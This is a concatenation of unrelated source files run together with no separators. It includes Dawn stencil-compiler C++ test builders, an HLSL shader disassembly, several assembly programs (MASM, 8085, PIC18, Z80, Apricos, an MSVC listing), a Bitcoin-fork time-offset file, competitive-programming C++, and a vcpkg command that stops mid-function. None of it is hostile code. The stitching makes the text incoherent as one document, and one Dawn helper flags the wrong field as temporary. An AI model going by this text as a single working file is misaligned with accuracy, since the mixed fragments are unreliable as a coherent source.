lhs->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(out_fieldID); rhs->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(in_fieldID); auto expr = std::make_shared<ast::AssignmentExpr>(lhs, rhs); expr->setID(target->nextUID()); auto stmt = iir::makeExprStmt(expr); stmt->setID(target->nextUID()); // Add the accesses: iir::Accesses callerAccesses; callerAccesses.addWriteExtent(out_fieldID, iir::Extents(ast::cartesian, 0, 0, 0, 0, 0, 0)); callerAccesses.addReadExtent(in_fieldID, iir::Extents(ast::cartesian, 0, 0, 0, 0, 0, 0)); stmt->getData<iir::IIRStmtData>().CallerAccesses = std::make_optional(std::move(callerAccesses)); // And add the statement to it IIRDoMethod->getAST().push_back(std::move(stmt)); IIRDoMethod->updateLevel(); // Add the control flow descriptor to the IIR auto stencilCall = std::make_shared<ast::StencilCall>("generatedDriver"); stencilCall->Args.push_back(sirInField->Name); stencilCall->Args.push_back(sirOutField->Name); auto placeholderStencil = std::make_shared<ast::StencilCall>( iir::InstantiationHelper::makeStencilCallCodeGenName(stencilID)); auto stencilCallDeclStmt = iir::makeStencilCallDeclStmt(placeholderStencil); // Register the call and set it as a replacement for the next vertical region target->getMetaData().addStencilCallStmt(stencilCallDeclStmt, stencilID); target->getIIR()->getControlFlowDescriptor().insertStmt(stencilCallDeclStmt); ///////////////// Generation of the Metadata target->getMetaData().setStencilName("generated"); for(const auto& MS : iterateIIROver<iir::MultiStage>(*(target->getIIR()))) { MS->update(iir::NodeUpdateType::levelAndTreeAbove); } // Iterate all statements (top -> bottom) for(const auto& stagePtr : iterateIIROver<iir::Stage>(*(target->getIIR()))) { iir::Stage& stage = *stagePtr; for(const auto& doMethod : stage.getChildren()) { doMethod->update(iir::NodeUpdateType::level); } stage.update(iir::NodeUpdateType::level); } for(const auto& MSPtr : iterateIIROver<iir::Stage>(*(target->getIIR()))) { MSPtr->update(iir::NodeUpdateType::levelAndTreeAbove); } return target; } std::shared_ptr<iir::StencilInstantiation> createLapStencilIIRInMemory(ast::GridType gridType) { auto target = std::make_shared<iir::StencilInstantiation>(gridType); ///////////////// Generation of the IIR sir::Attr attributes; int stencilID = target->nextUID(); target->getIIR()->insertChild( std::make_unique<iir::Stencil>(target->getMetaData(), attributes, stencilID), target->getIIR()); const auto& IIRStencil = target->getIIR()->getChild(0); // One Multistage with a parallel looporder IIRStencil->insertChild( std::make_unique<iir::MultiStage>(target->getMetaData(), iir::LoopOrderKind::Parallel)); const auto& IIRMSS = (IIRStencil)->getChild(0); IIRMSS->setID(target->nextUID()); auto IIRStage1 = std::make_unique<iir::Stage>(target->getMetaData(), target->nextUID()); auto IIRStage2 = std::make_unique<iir::Stage>(target->getMetaData(), target->nextUID()); IIRStage1->setExtents(iir::Extents(ast::cartesian, -1, +1, -1, +1, 0, 0)); // Create one doMethod inside the Stage that spans the full domain IIRStage1->insertChild(std::make_unique<iir::DoMethod>( iir::Interval(sir::Interval{sir::Interval::Start, sir::Interval::End}), target->getMetaData())); const auto& IIRDoMethod1 = IIRStage1->getChild(0); IIRDoMethod1->setID(target->nextUID()); IIRStage2->insertChild(std::make_unique<iir::DoMethod>( iir::Interval(sir::Interval{sir::Interval::Start, sir::Interval::End}), target->getMetaData())); const auto& IIRDoMethod2 = IIRStage2->getChild(0); IIRDoMethod2->setID(target->nextUID()); // Create two stages inside the MSS IIRMSS->insertChild(std::move(IIRStage1)); IIRMSS->insertChild(std::move(IIRStage2)); // create the statement auto makeFieldDimensions = []() -> sir::FieldDimensions { return sir::FieldDimensions(sir::HorizontalFieldDimension(ast::cartesian, {true, true}), true); }; auto sirInField = std::make_shared<sir::Field>("in", makeFieldDimensions()); sirInField->IsTemporary = false; auto sirOutField = std::make_shared<sir::Field>("out", makeFieldDimensions()); sirOutField->IsTemporary = false; auto sirTmpField = std::make_shared<sir::Field>("tmp", makeFieldDimensions()); sirOutField->IsTemporary = true; auto lhsTmp = std::make_shared<ast::FieldAccessExpr>(sirTmpField->Name); lhsTmp->setID(target->nextUID()); auto rhsInT1 = std::make_shared<ast::FieldAccessExpr>(sirInField->Name, ast::Offsets{ast::cartesian, 0, -2, 0}); auto rhsInT2 = std::make_shared<ast::FieldAccessExpr>(sirInField->Name, ast::Offsets{ast::cartesian, 0, +2, 0}); auto rhsInT3 = std::make_shared<ast::FieldAccessExpr>(sirInField->Name, ast::Offsets{ast::cartesian, -2, 0, 0}); auto rhsInT4 = std::make_shared<ast::FieldAccessExpr>(sirInField->Name, ast::Offsets{ast::cartesian, +2, 0, 0}); rhsInT1->setID(target->nextUID()); rhsInT2->setID(target->nextUID()); rhsInT3->setID(target->nextUID()); rhsInT4->setID(target->nextUID()); auto lhsOut = std::make_shared<ast::FieldAccessExpr>(sirOutField->Name); lhsOut->setID(target->nextUID()); auto rhsTmpT1 = std::make_shared<ast::FieldAccessExpr>(sirTmpField->Name, ast::Offsets{ast::cartesian, 0, -1, 0}); auto rhsTmpT2 = std::make_shared<ast::FieldAccessExpr>(sirTmpField->Name, ast::Offsets{ast::cartesian, 0, +1, 0}); auto rhsTmpT3 = std::make_shared<ast::FieldAccessExpr>(sirTmpField->Name, ast::Offsets{ast::cartesian, -1, 0, 0}); auto rhsTmpT4 = std::make_shared<ast::FieldAccessExpr>(sirTmpField->Name, ast::Offsets{ast::cartesian, +1, 0, 0}); rhsTmpT1->setID(target->nextUID()); rhsTmpT2->setID(target->nextUID()); rhsTmpT3->setID(target->nextUID()); rhsTmpT4->setID(target->nextUID()); int inFieldID = target->getMetaData().addField(iir::FieldAccessType::APIField, sirInField->Name, std::move(sirInField->Dimensions)); int tmpFieldID = target->getMetaData().addField(iir::FieldAccessType::StencilTemporary, sirTmpField->Name, std::move(sirTmpField->Dimensions)); int outFieldID = target->getMetaData().addField(iir::FieldAccessType::APIField, sirOutField->Name, std::move(sirOutField->Dimensions)); lhsTmp->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(tmpFieldID); rhsInT1->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(inFieldID); rhsInT2->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(inFieldID); rhsInT3->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(inFieldID); rhsInT4->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(inFieldID); lhsOut->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(outFieldID); rhsTmpT1->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(tmpFieldID); rhsTmpT2->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(tmpFieldID); rhsTmpT3->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(tmpFieldID); rhsTmpT4->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(tmpFieldID); auto plusIn1 = std::make_shared<ast::BinaryOperator>(rhsInT1, std::string("+"), rhsInT2); auto plusIn2 = std::make_shared<ast::BinaryOperator>(rhsInT3, std::string("+"), rhsInT4); auto plusIn3 = std::make_shared<ast::BinaryOperator>(plusIn1, std::string("+"), plusIn2); plusIn1->setID(target->nextUID()); plusIn2->setID(target->nextUID()); plusIn3->setID(target->nextUID()); auto assignmentTmpIn = std::make_shared<ast::AssignmentExpr>(lhsTmp, plusIn3); assignmentTmpIn->setID(target->nextUID()); auto stmt1 = iir::makeExprStmt(assignmentTmpIn); stmt1->setID(target->nextUID()); // Add the accesses: iir::Accesses callerAccesses1; callerAccesses1.addWriteExtent(tmpFieldID, iir::Extents(ast::cartesian, 0, 0, 0, 0, 0, 0)); callerAccesses1.addReadExtent(inFieldID, iir::Extents(ast::cartesian, -2, 2, -2, 2, 0, 0)); stmt1->getData<iir::IIRStmtData>().CallerAccesses = std::make_optional(std::move(callerAccesses1)); // And add the statement to it IIRDoMethod1->getAST().push_back(std::move(stmt1)); IIRDoMethod1->updateLevel(); auto plusTmp1 = std::make_shared<ast::BinaryOperator>(rhsTmpT1, std::string("+"), rhsTmpT2); auto plusTmp2 = std::make_shared<ast::BinaryOperator>(rhsTmpT3, std::string("+"), rhsTmpT4); auto plusTmp3 = std::make_shared<ast::BinaryOperator>(plusTmp1, std::string("+"), plusTmp2); plusTmp1->setID(target->nextUID()); plusTmp2->setID(target->nextUID()); plusTmp3->setID(target->nextUID()); auto assignmentOutTmp = std::make_shared<ast::AssignmentExpr>(lhsOut, plusTmp3); assignmentOutTmp->setID(target->nextUID()); auto stmt2 = iir::makeExprStmt(assignmentOutTmp); stmt2->setID(target->nextUID()); // Add the accesses to the statement: iir::Accesses callerAccesses2; callerAccesses2.addWriteExtent(outFieldID, iir::Extents(ast::cartesian, 0, 0, 0, 0, 0, 0)); callerAccesses2.addReadExtent(tmpFieldID, iir::Extents(ast::cartesian, -1, 1, -1, 1, 0, 0)); stmt2->getData<iir::IIRStmtData>().CallerAccesses = std::make_optional(std::move(callerAccesses2)); // And add the statement to it IIRDoMethod2->getAST().push_back(std::move(stmt2)); IIRDoMethod2->updateLevel(); // Add the control flow descriptor to the IIR auto stencilCall = std::make_shared<ast::StencilCall>("generatedDriver"); stencilCall->Args.push_back(sirInField->Name); // stencilCall->Args.push_back(sirTmpField->Name); stencilCall->Args.push_back(sirOutField->Name); auto placeholderStencil = std::make_shared<ast::StencilCall>( iir::InstantiationHelper::makeStencilCallCodeGenName(stencilID)); auto stencilCallDeclStmt = iir::makeStencilCallDeclStmt(placeholderStencil); // Register the call and set it as a replacement for the next vertical region target->getMetaData().addStencilCallStmt(stencilCallDeclStmt, stencilID); target->getIIR()->getControlFlowDescriptor().insertStmt(stencilCallDeclStmt); ///////////////// Generation of the Metadata target->getMetaData().setStencilName("generated"); for(const auto& MS : iterateIIROver<iir::MultiStage>(*(target->getIIR()))) { MS->update(iir::NodeUpdateType::levelAndTreeAbove); } // Iterate all statements (top -> bottom) for(const auto& stagePtr : iterateIIROver<iir::Stage>(*(target->getIIR()))) { iir::Stage& stage = *stagePtr; for(const auto& doMethod : stage.getChildren()) { doMethod->update(iir::NodeUpdateType::level); } stage.update(iir::NodeUpdateType::level); } for(const auto& MSPtr : iterateIIROver<iir::Stage>(*(target->getIIR()))) { MSPtr->update(iir::NodeUpdateType::levelAndTreeAbove); } return target; } std::shared_ptr<dawn::iir::StencilInstantiation> createUnstructuredSumEdgeToCellsIIRInMemory() { using namespace dawn::iir; using LocType = dawn::ast::LocationType; UnstructuredIIRBuilder b; auto in_f = b.field("in_field", LocType::Edges); auto out_f = b.field("out_field", LocType::Cells); auto cnt = b.localvar("cnt", dawn::BuiltinTypeID::Integer); auto stencilInstantiation = b.build( "generated", b.stencil(b.multistage( LoopOrderKind::Parallel, b.stage(LocType::Edges, b.doMethod(dawn::sir::Interval::Start, dawn::sir::Interval::End, b.stmt(b.assignExpr(b.at(in_f), b.lit(10))))), b.stage( LocType::Cells, b.doMethod(dawn::sir::Interval::Start, dawn::sir::Interval::End, b.stmt(b.assignExpr( b.at(out_f), b.reduceOverNeighborExpr( Op::plus, b.at(in_f, HOffsetType::withOffset, 0), b.lit(0.), {LocType::Cells, LocType::Edges})))))))); return stencilInstantiation; } std::shared_ptr<dawn::iir::StencilInstantiation> createUnstructuredMixedCopies() { using namespace dawn::iir; using LocType = dawn::ast::LocationType; UnstructuredIIRBuilder b; auto in_c = b.field("in_c", LocType::Cells); auto out_c = b.field("out_c", LocType::Cells); auto in_e = b.field("in_e", LocType::Edges); auto out_e = b.field("out_e", LocType::Edges); auto stencilInstantiation = b.build( "generated", b.stencil(b.multistage( dawn::iir::LoopOrderKind::Forward, b.stage(LocType::Cells, b.doMethod(dawn::sir::Interval::Start, dawn::sir::Interval::End, b.stmt(b.assignExpr(b.at(out_c), b.at(in_c))))), b.stage(LocType::Edges, b.doMethod(dawn::sir::Interval::Start, dawn::sir::Interval::End, b.stmt(b.assignExpr(b.at(out_e), b.at(in_e)))))))); return stencilInstantiation; }
// // Generated by Microsoft (R) HLSL Shader Compiler 9.30.9200.20714 // // /// // Buffer Definitions: // // cbuffer $Params // { // // bool bTexture; // Offset: 0 Size: 4 // // } // // // Resource Bindings: // // Name Type Format Dim Slot Elements // ------------------------------ ---------- ------- ----------- ---- -------- // MeshTextureSampler sampler NA NA 0 1 // MeshTextureSampler texture float4 2d 0 1 // $Params cbuffer NA NA 0 1 // // // // Input signature: // // Name Index Mask Register SysValue Format Used // -------------------- ----- ------ -------- -------- ------- ------ // SV_Position 0 xyzw 0 POS float // COLOR 0 xyzw 1 NONE float xyzw // TEXCOORD 0 xy 2 NONE float xy // // // Output signature: // // Name Index Mask Register SysValue Format Used // -------------------- ----- ------ -------- -------- ------- ------ // SV_Target 0 xyzw 0 TARGET float xyzw // ps_4_0 dcl_constantbuffer cb0[1], immediateIndexed dcl_sampler s0, mode_default dcl_resource_texture2d (float,float,float,float) t0 dcl_input_ps linear v1.xyzw dcl_input_ps linear v2.xy dcl_output o0.xyzw dcl_temps 1 if_nz cb0[0].x sample r0.xyzw, v2.xyxx, t0.xyzw, s0 mul o0.xyzw, r0.xyzw, v1.xyzw else mov o0.xyzw, v1.xyzw endif ret // Approximately 7 instruction slots used
.code pal_execute_xgetbv proc ; The argument to pass to xgetbv via ecx is already ; there, since it is the first integer passed here. xgetbv; ; The result is stored in edx:eax, so get it into rax ; and return. shl rdx, 032; or rax, rdx; ret; pal_execute_xgetbv endp end
// Copyright (c) 2014-2015 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "timedata.h" #include "netaddress.h" #include "sync.h" #include "ui_interface.h" #include "util.h" #include "utilstrencodings.h" #include <boost/foreach.hpp> using namespace std; static CCriticalSection cs_nTimeOffset; static int64_t nTimeOffset = 0; /** * "Never go to sea with two chronometers; take one or three." * Our three time sources are: * - System clock * - Median of other nodes clocks * - The user (asking the user to fix the system clock if the first two disagree) */ int64_t GetTimeOffset() { LOCK(cs_nTimeOffset); return nTimeOffset; } int64_t GetAdjustedTime() { return GetTime() + GetTimeOffset(); } static int64_t abs64(int64_t n) { return (n >= 0 ? n : -n); } #define BITCOIN_TIMEDATA_MAX_SAMPLES 200 void AddTimeData(const CNetAddr& ip, int64_t nOffsetSample) { LOCK(cs_nTimeOffset); // Ignore duplicates static set<CNetAddr> setKnown; if (setKnown.size() == BITCOIN_TIMEDATA_MAX_SAMPLES) return; if (!setKnown.insert(ip).second) return; // Add data static CMedianFilter<int64_t> vTimeOffsets(BITCOIN_TIMEDATA_MAX_SAMPLES, 0); vTimeOffsets.input(nOffsetSample); LogPrint("net","added time data, samples %d, offset %+d (%+d minutes)\n", vTimeOffsets.size(), nOffsetSample, nOffsetSample/60); // There is a known issue here (see issue #4521): // // - The structure vTimeOffsets contains up to 200 elements, after which // any new element added to it will not increase its size, replacing the // oldest element. // // - The condition to update nTimeOffset includes checking whether the // number of elements in vTimeOffsets is odd, which will never happen after // there are 200 elements. // // But in this case the 'bug' is protective against some attacks, and may // actually explain why we've never seen attacks which manipulate the // clock offset. // // So we should hold off on fixing this and clean it up as part of // a timing cleanup that strengthens it in a number of other ways. // if (vTimeOffsets.size() >= 5 && vTimeOffsets.size() % 2 == 1) { int64_t nMedian = vTimeOffsets.median(); std::vector<int64_t> vSorted = vTimeOffsets.sorted(); // Only let other nodes change our time by so much if (abs64(nMedian) < 70 * 60) { nTimeOffset = nMedian; } else { nTimeOffset = 0; static bool fDone; if (!fDone) { // If nobody has a time different than ours but within 5 minutes of ours, give a warning bool fMatch = false; BOOST_FOREACH(int64_t nOffset, vSorted) if (nOffset != 0 && abs64(nOffset) < 5 * 60) fMatch = true; if (!fMatch) { fDone = true; string strMessage = _("Please check that your computer's date and time are correct! If your clock is wrong CLY Coin will not work properly."); strMiscWarning = strMessage; uiInterface.ThreadSafeMessageBox(strMessage, "", CClientUIInterface::MSG_WARNING); } } } BOOST_FOREACH(int64_t n, vSorted) LogPrint("net", "%+d ", n); LogPrint("net", "| "); LogPrint("net", "nTimeOffset = %+d (%+d minutes)\n", nTimeOffset, nTimeOffset/60); } }
LXI H,9000 LXI B,9010 LXI D,9020 MVI A,0A // 10 elements LOOP: STA 9100 // storing the count LDAX B ADD M STAX D INX H INX B INX D LDA 9100 DCR A JNZ LOOP HLT
Map_2EDD0: dc.w word_2EDD8-Map_2EDD0 dc.w word_2EDE6-Map_2EDD0 dc.w word_2EDF4-Map_2EDD0 dc.w word_2EE02-Map_2EDD0 word_2EDD8: dc.w 2 dc.b $F8, $D, 0, 0, $FF, $B8 dc.b $F8, $D, 0, 8, $FF, $D8 word_2EDE6: dc.w 2 dc.b $F8, $D, 0, $14, 0, 8 dc.b $F8, $D, 0, $C, 0, $28 word_2EDF4: dc.w 2 dc.b $F8, 9, 0, $1C, $FF, $C4 dc.b $F8, $D, 0, 8, $FF, $DC word_2EE02: dc.w 2 dc.b $F8, $D, 0, $14, 0, $C dc.b $F8, $D, 0, $C, 0, $2C
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.24.28117.0 TITLE C:\Users\libit\source\repos\L052\L052\L052.cpp .686P .XMM include listing.inc .model flat INCLUDELIB LIBCMT INCLUDELIB OLDNAMES CONST SEGMENT $SG5569 DB 'a=%d,b=%d,c=%d,d=%d', 0aH, 00H ORG $+3 $SG5576 DB 'a=%d,b=%d,c=%d,d=%d', 0aH, 00H ORG $+3 $SG5581 DB 'Hello World!', 0aH, 00H CONST ENDS PUBLIC ___local_stdio_printf_options PUBLIC __vfprintf_l PUBLIC _printf PUBLIC ?f@@YAXUs@@@Z ; f PUBLIC ?f1@@YAXDHDH@Z ; f1 PUBLIC _main PUBLIC ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage EXTRN ___acrt_iob_func:PROC EXTRN ___stdio_common_vfprintf:PROC ; COMDAT ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA _BSS SEGMENT ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA DQ 01H DUP (?) ; `__local_stdio_printf_options'::`2'::_OptionsStorage _BSS ENDS ; Function compile flags: /Odtp _TEXT SEGMENT _temp$ = -16 ; size = 16 _main PROC ; File C:\Users\libit\source\repos\L052\L052\L052.cpp ; Line 25 push ebp mov ebp, esp sub esp, 16 ; 00000010H ; Line 26 push OFFSET $SG5581 call _printf add esp, 4 ; Line 28 mov BYTE PTR _temp$[ebp], 1 ; Line 29 mov DWORD PTR _temp$[ebp+4], 2 ; Line 30 mov BYTE PTR _temp$[ebp+8], 3 ; Line 31 mov DWORD PTR _temp$[ebp+12], 4 ; Line 32 sub esp, 16 ; 00000010H mov eax, esp mov ecx, DWORD PTR _temp$[ebp] mov DWORD PTR [eax], ecx mov edx, DWORD PTR _temp$[ebp+4] mov DWORD PTR [eax+4], edx mov ecx, DWORD PTR _temp$[ebp+8] mov DWORD PTR [eax+8], ecx mov edx, DWORD PTR _temp$[ebp+12] mov DWORD PTR [eax+12], edx call ?f@@YAXUs@@@Z ; f add esp, 16 ; 00000010H ; Line 33 xor eax, eax mov esp, ebp pop ebp ret 0 _main ENDP _TEXT ENDS ; Function compile flags: /Odtp _TEXT SEGMENT _a$ = 8 ; size = 1 _b$ = 12 ; size = 4 _c$ = 16 ; size = 1 _d$ = 20 ; size = 4 ?f1@@YAXDHDH@Z PROC ; f1 ; File C:\Users\libit\source\repos\L052\L052\L052.cpp ; Line 20 push ebp mov ebp, esp ; Line 21 mov eax, DWORD PTR _d$[ebp] push eax movsx ecx, BYTE PTR _c$[ebp] push ecx mov edx, DWORD PTR _b$[ebp] push edx movsx eax, BYTE PTR _a$[ebp] push eax push OFFSET $SG5576 call _printf add esp, 20 ; 00000014H ; Line 22 pop ebp ret 0 ?f1@@YAXDHDH@Z ENDP ; f1 _TEXT ENDS ; Function compile flags: /Odtp _TEXT SEGMENT _s1$ = 8 ; size = 16 ?f@@YAXUs@@@Z PROC ; f ; File C:\Users\libit\source\repos\L052\L052\L052.cpp ; Line 15 push ebp mov ebp, esp ; Line 16 mov eax, DWORD PTR _s1$[ebp+12] push eax movsx ecx, BYTE PTR _s1$[ebp+8] push ecx mov edx, DWORD PTR _s1$[ebp+4] push edx movsx eax, BYTE PTR _s1$[ebp] push eax push OFFSET $SG5569 call _printf add esp, 20 ; 00000014H ; Line 17 pop ebp ret 0 ?f@@YAXUs@@@Z ENDP ; f _TEXT ENDS ; Function compile flags: /Odtp ; COMDAT _printf _TEXT SEGMENT __Result$ = -8 ; size = 4 __ArgList$ = -4 ; size = 4 __Format$ = 8 ; size = 4 _printf PROC ; COMDAT ; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h ; Line 954 push ebp mov ebp, esp sub esp, 8 ; Line 957 lea eax, DWORD PTR __Format$[ebp+4] mov DWORD PTR __ArgList$[ebp], eax ; Line 958 mov ecx, DWORD PTR __ArgList$[ebp] push ecx push 0 mov edx, DWORD PTR __Format$[ebp] push edx push 1 call ___acrt_iob_func add esp, 4 push eax call __vfprintf_l add esp, 16 ; 00000010H mov DWORD PTR __Result$[ebp], eax ; Line 959 mov DWORD PTR __ArgList$[ebp], 0 ; Line 960 mov eax, DWORD PTR __Result$[ebp] ; Line 961 mov esp, ebp pop ebp ret 0 _printf ENDP _TEXT ENDS ; Function compile flags: /Odtp ; COMDAT __vfprintf_l _TEXT SEGMENT __Stream$ = 8 ; size = 4 __Format$ = 12 ; size = 4 __Locale$ = 16 ; size = 4 __ArgList$ = 20 ; size = 4 __vfprintf_l PROC ; COMDAT ; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h ; Line 642 push ebp mov ebp, esp ; Line 643 mov eax, DWORD PTR __ArgList$[ebp] push eax mov ecx, DWORD PTR __Locale$[ebp] push ecx mov edx, DWORD PTR __Format$[ebp] push edx mov eax, DWORD PTR __Stream$[ebp] push eax call ___local_stdio_printf_options mov ecx, DWORD PTR [eax+4] push ecx mov edx, DWORD PTR [eax] push edx call ___stdio_common_vfprintf add esp, 24 ; 00000018H ; Line 644 pop ebp ret 0 __vfprintf_l ENDP _TEXT ENDS ; Function compile flags: /Odtp ; COMDAT ___local_stdio_printf_options _TEXT SEGMENT ___local_stdio_printf_options PROC ; COMDAT ; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h ; Line 86 push ebp mov ebp, esp ; Line 88 mov eax, OFFSET ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage ; Line 89 pop ebp ret 0 ___local_stdio_printf_options ENDP _TEXT ENDS END
#include <bits/stdc++.h> using namespace std; #define ll long long int #define vi vector<int> #define pb push_back #define rep(i, a, b) for (int i = a; i < b; i++) const int N = 2e5+10; vector<pair<int,int>> g[N]; vector<int> d(N),dis(N),dis1(N); void dfs(int vertex, int par = 0){ for(auto child: g[vertex]){ if(child.first == par) continue; d[child.first] = d[vertex] + child.second; dfs(child.first, vertex); } } void dfs1(int vertex, int par = 0){ for(auto child: g[vertex]){ if(child.first == par) continue; dis[child.first] = dis[vertex] + child.second; dfs1(child.first, vertex); } } void dfs2(int vertex, int par = 0){ for(auto child: g[vertex]){ if(child.first == par) continue; dis1[child.first] = dis1[vertex] + child.second; dfs2(child.first, vertex); } } void solve() { int n; cin>>n; for(int i=0;i<n-1;i++){ int v,e,d=1; cin>>v>>e; g[v].push_back({e,d}); g[e].push_back({v,d}); } dfs(1); int max_d = -1; int max_node1; for(int i=1;i<=n;i++){ if(max_d < d[i]){ max_d = d[i]; max_node1 = i; } d[i] = 0; } dfs(max_node1); max_d = -1; int max_node2; for(int i=1;i<=n;i++){ if(max_d < d[i]){ max_d = d[i]; max_node2 = i; } d[i] = 0; } // cout<<max_node1<<" "<<max_node2<<endl; dfs1(max_node1); dfs2(max_node2); for(int i=1;i<=n;i++){ cout<<max(dis[i],dis1[i])<<" "; } cout<<endl; } int main() { ios_base::sync_with_stdio(false); cin.tie(NULL); int t = 1; // cin >> t; while (t--) { solve(); for(int i=0;i<N;i++){ g[i].clear(); d[i] = 0; dis[i] = 0; dis1[i] = 0; } #ifndef ONLINE_JUDGE cout << "---------------------------- " << endl; #endif } return 0; }
; ; Print character to screen using firmware ; SECTION code_clib PUBLIC fputc_cons_native INCLUDE "target/dai/def/dai.def" ; ; Entry: hl = points to char ; .fputc_cons_native ld hl,2 add hl,sp ld d,0 ld a,(hl) cp 10 jp nz,notcr ld a,13 jp printit notcr: cp 13 jp nz,printit ld a,10 printit: rst $28 defb dai_SCR_OUTC ; call dai_PRINTC ret
; Multiplication demonstration ; ; This program will multiply the ; value in $a0 by the value in $a1. ; The result will be stored in $a2. ; ; For this example, we will multiply 2 by 3. ; ; NOTE: This example assumes the second operand is non zero ; ; Load operands ASET 0 ; Load first operand (0x02) into $a0 ADD 0x02 ASET 1 ; Load second operand (0x03) into $a1 ADD 0x03 ; Since addition is faster than subtraction (as of Apricos V0.7), ; we will take the 2s compliment negation of $a1, and use that as ; our incrementing variable. I.e. we will negate $a1, then increment ; it until it is equal to zero. ; NOT ; 2s compliment negation of $a1 ADD 0x01 ; Prepare output ASET 2 AND 0x00 ; Zero $a2 ; Perform multiplication ; ; We do this by repeatedly adding $a0 to $a2, as well as ; repeatedly incrementing $a1. As soon as $a1 is non-negative, ; we stop. $a2 will then hold our result. ; LOOPST: ASET 0 ; Place first operand on the stack SPUSH ASET 2 ; Add first operand to our result SPOP ADD ASET 1 ; Increment our counter and loop if still negative ADD 1 BRn LOOPST
#include <bits/stdc++.h> using namespace std; int main() { int tests; cin >> tests; for (int t = 0; t < tests; ++t) { long long n; cin >> n; int array[n]; for (int i = 0; i < n; ++i) cin >> array[i]; long long needed = 0; for (int i = 0; i < n - 1; ++i) { auto [a, b] = minmax(array[i], array[i+1]); if (a == b) continue; double log2Diff = log2(b / (double) a); needed += ceil(log2Diff - 1); } cout << needed << endl; } }
frame 1, 12 frame 2, 06 frame 3, 16 endanim
;My first program ;Coded by Kalun ;This program counts from 0 to 9 and shows on a seven segment common cathode display list p=18f4550 ;Processor model #include<p18f4550.inc> ;Library for register names of the selected processor ;Configuration bit declaration CONFIG FOSC = XT_XT ; Oscillator Selection bits (XT oscillator (XT)) CONFIG PWRT = ON ; Power-up Timer Enable bit (PWRT enabled) CONFIG BOR = OFF ; Brown-out Reset Enable bits (Brown-out Reset disabled in hardware and software) CONFIG WDT = OFF ; Watchdog Timer Enable bit (WDT disabled (control is placed on the SWDTEN bit)) CONFIG PBADEN = OFF ; PORTB A/D Enable bit (PORTB<4:0> pins are configured as digital I/O on Reset) CONFIG LVP = OFF ; Single-Supply ICSP Enable bit (Single-Supply ICSP disabled) cuenta equ 0x20 ;Variable declaration for counter org 0x0600 tabla_7s db 0x3f, 0x06, 0x5b, 0x4f, 0x66, 0x6d, 0x7d, 0x07, 0x7f, 0x67 org 0x0000 ;RESET Vector goto set_up ;Jump to set_up label org 0x0020 ;User program set_up: clrf cuenta ;Clear cuenta clrf TRISD ;Set RD port as output movlw LOW tabla_7s movwf TBLPTRL movlw HIGH tabla_7s movwf TBLPTRH ;Set address location for table pointer movlw 0x3f movwf LATD ;Output initial value of zero to display begin: btfss PORTB, 0 goto begin movlw .9 cpfseq cuenta goto non clrf cuenta goto outtt non:incf cuenta, f outtt: movf cuenta, W movwf TBLPTRL TBLRD* movff TABLAT, LATD prep: btfsc PORTB, 0 goto prep goto begin end
#include <vcpkg/base/system.print.h> #include <vcpkg/binarycaching.h> #include <vcpkg/commands.setinstalled.h> #include <vcpkg/globalstate.h> #include <vcpkg/help.h> #include <vcpkg/input.h> #include <vcpkg/install.h> #include <vcpkg/metrics.h> #include <vcpkg/portfileprovider.h> #include <vcpkg/remove.h> #include <vcpkg/vcpkgcmdarguments.h> #include <vcpkg/vcpkglib.h> namespace vcpkg::Commands::SetInstalled { static constexpr StringLiteral OPTION_DRY_RUN = "dry-run"; static constexpr StringLiteral OPTION_WRITE_PACKAGES_CONFIG = "x-write-nuget-packages-config"; static constexpr CommandSwitch INSTALL_SWITCHES[] = { {OPTION_DRY_RUN, "Do not actually build or install"}, }; static constexpr CommandSetting INSTALL_SETTINGS[] = { {OPTION_WRITE_PACKAGES_CONFIG, "Writes out a NuGet packages.config-formatted file for use with external binary caching.\n" "See `vcpkg help binarycaching` for more information."}, }; const CommandStructure COMMAND_STRUCTURE = { create_example_string(R"(x-set-installed <package>...)"), 0, SIZE_MAX, {INSTALL_SWITCHES, INSTALL_SETTINGS}, nullptr, }; void perform_and_exit_ex(const VcpkgCmdArguments& args, const VcpkgPaths& paths, const PortFileProvider::PathsPortFileProvider& provider, BinaryCache& binary_cache, const CMakeVars::CMakeVarProvider& cmake_vars, Dependencies::ActionPlan action_plan, DryRun dry_run, const Optional<Path>& maybe_pkgsconfig, Triplet host_triplet) { cmake_vars.load_tag_vars(action_plan, provider, host_triplet); Build::compute_all_abis(paths, action_plan, cmake_vars, {}); std::set<std::string> all_abis; std::vector<PackageSpec> user_requested_specs; for (const auto& action : action_plan.install_actions) { all_abis.insert(action.abi_info.value_or_exit(VCPKG_LINE_INFO).package_abi); if (action.request_type == Dependencies::RequestType::USER_REQUESTED) { // save for reporting usage later user_requested_specs.push_back(action.spec); } } // currently (or once) installed specifications auto status_db = database_load_check(paths); std::vector<PackageSpec> specs_to_remove; std::set<PackageSpec> specs_installed; for (auto&& status_pgh : status_db) { if (!status_pgh->is_installed()) continue; if (status_pgh->package.is_feature()) continue; const auto& abi = status_pgh->package.abi; if (abi.empty() || !Util::Sets::contains(all_abis, abi)) { specs_to_remove.push_back(status_pgh->package.spec); } else { specs_installed.emplace(status_pgh->package.spec); } } action_plan.remove_actions = Dependencies::create_remove_plan(specs_to_remove, status_db); for (const auto& action : 